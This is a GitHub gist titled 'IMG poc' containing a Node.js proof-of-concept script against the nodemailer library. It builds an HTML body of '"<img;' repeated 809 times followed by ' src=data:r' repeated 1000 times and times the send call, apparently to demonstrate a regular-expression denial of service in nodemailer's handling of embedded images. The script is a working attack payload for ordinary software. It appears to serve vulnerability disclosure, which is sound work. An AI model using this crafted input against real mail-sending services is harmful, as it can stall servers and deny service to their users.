Skip to content

Instantly share code, notes, and snippets.

@francoatmega
Created January 31, 2024 02:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save francoatmega/9aab042b0b24968d7b7039818e8b2698 to your computer and use it in GitHub Desktop.
Save francoatmega/9aab042b0b24968d7b7039818e8b2698 to your computer and use it in GitHub Desktop.
IMG poc
/* eslint no-console: 0 */
'use strict';
const nodemailer = require('../lib/nodemailer');
async function main() {
// Create a SMTP transporter object
let transporter = nodemailer.createTransport({
sendmail: true,
newline: 'windows',
logger: false
});
// Message object
let message = {
attachDataUrls: [
'http://localhost:3000/1',
],
from: 'Andris <andris@kreata.ee>',
// Comma separated list of recipients
to: 'Andris Reinman <andris.reinman@gmail.com>',
bcc: 'andris@ethereal.email',
// Subject of the message
subject: 'Nodemailer is unicode friendly ✔',
// plaintext body
text: 'Hello to myself!',
// HTML body
html: '"<img;'.repeat(809) + ' c' + ' src=data:r'.repeat(1000),
};
console.time('POC - IMG file')
let info = await transporter.sendMail(message);
console.timeEnd('POC - IMG file')
console.log('Message sent successfully as %s', info.messageId);
}
main().catch(err => {
console.error(err.message);
process.exit(1);
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment